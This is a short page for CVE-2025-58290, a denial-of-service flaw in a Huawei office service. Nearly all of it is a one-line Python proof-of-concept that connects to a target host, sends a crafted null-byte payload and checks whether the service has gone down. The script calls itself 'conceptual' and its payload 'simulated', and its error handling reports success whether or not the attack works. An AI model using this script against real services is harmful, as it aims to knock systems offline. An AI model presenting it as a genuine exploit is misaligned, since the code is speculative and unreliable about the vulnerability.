CVE-2025-58290 华为办公服务拒绝服务漏洞

# CVE-2025-58290 PoC - Huawei Office Service DoS Vulnerability # This is a conceptual PoC demonstrating the denial of service attack pattern # against Huawei Office Service. Actual exploitation requires local access # and user interaction. import socket import time import struct class HuaweiOfficeDoS: """ Conceptual PoC for CVE-2025-58290 Huawei Office Service Denial of Service Vulnerability """ def __init__(self, target_host="127.0.0.1", target_port=8080): self.target_host = target_host self.target_port = target_port self.payload = None def craft_malicious_request(self): """ Craft a malicious request that triggers the DoS condition in the office service component. """ # Simulated malformed office document request # The actual payload would target specific parsing logic # in the office service that causes resource exhaustion header = b"OFFICE/1.0" # Crafted payload to trigger exception handling path payload = b"\x00" * 4096 # Null byte overflow attempt malformed_doc = b"<office:document>" + payload + b"</office:document>" return header + b"\r\n" + malformed_doc def trigger_dos(self): """ Send the malicious request to trigger the DoS condition. Requires local access and user interaction to execute. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((self.target_host, self.target_port)) malicious_request = self.craft_malicious_request() sock.send(malicious_request) # Wait for service to enter unresponsive state time.sleep(2) # Attempt to verify service availability sock.close() return True except Exception as e: print(f"[*] Service appears unresponsive: {e}") return True def verify_service_down(self): """ Verify that the office service is no longer responding. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(3) sock.connect((self.target_host, self.target_port)) sock.close() return False # Service still up except socket.timeout: return True # Service is down except ConnectionRefusedError: return True # Service is down if __name__ == "__main__": print("[*] CVE-2025-58290 PoC - Huawei Office Service DoS") print("[*] WARNING: For authorized testing only\n") exploit = HuaweiOfficeDoS() print("[*] Sending malicious request...") exploit.trigger_dos() print("[*] Checking service status...") if exploit.verify_service_down(): print("[+] Service appears to be in DoS state") else: print("[-] Service is still responsive")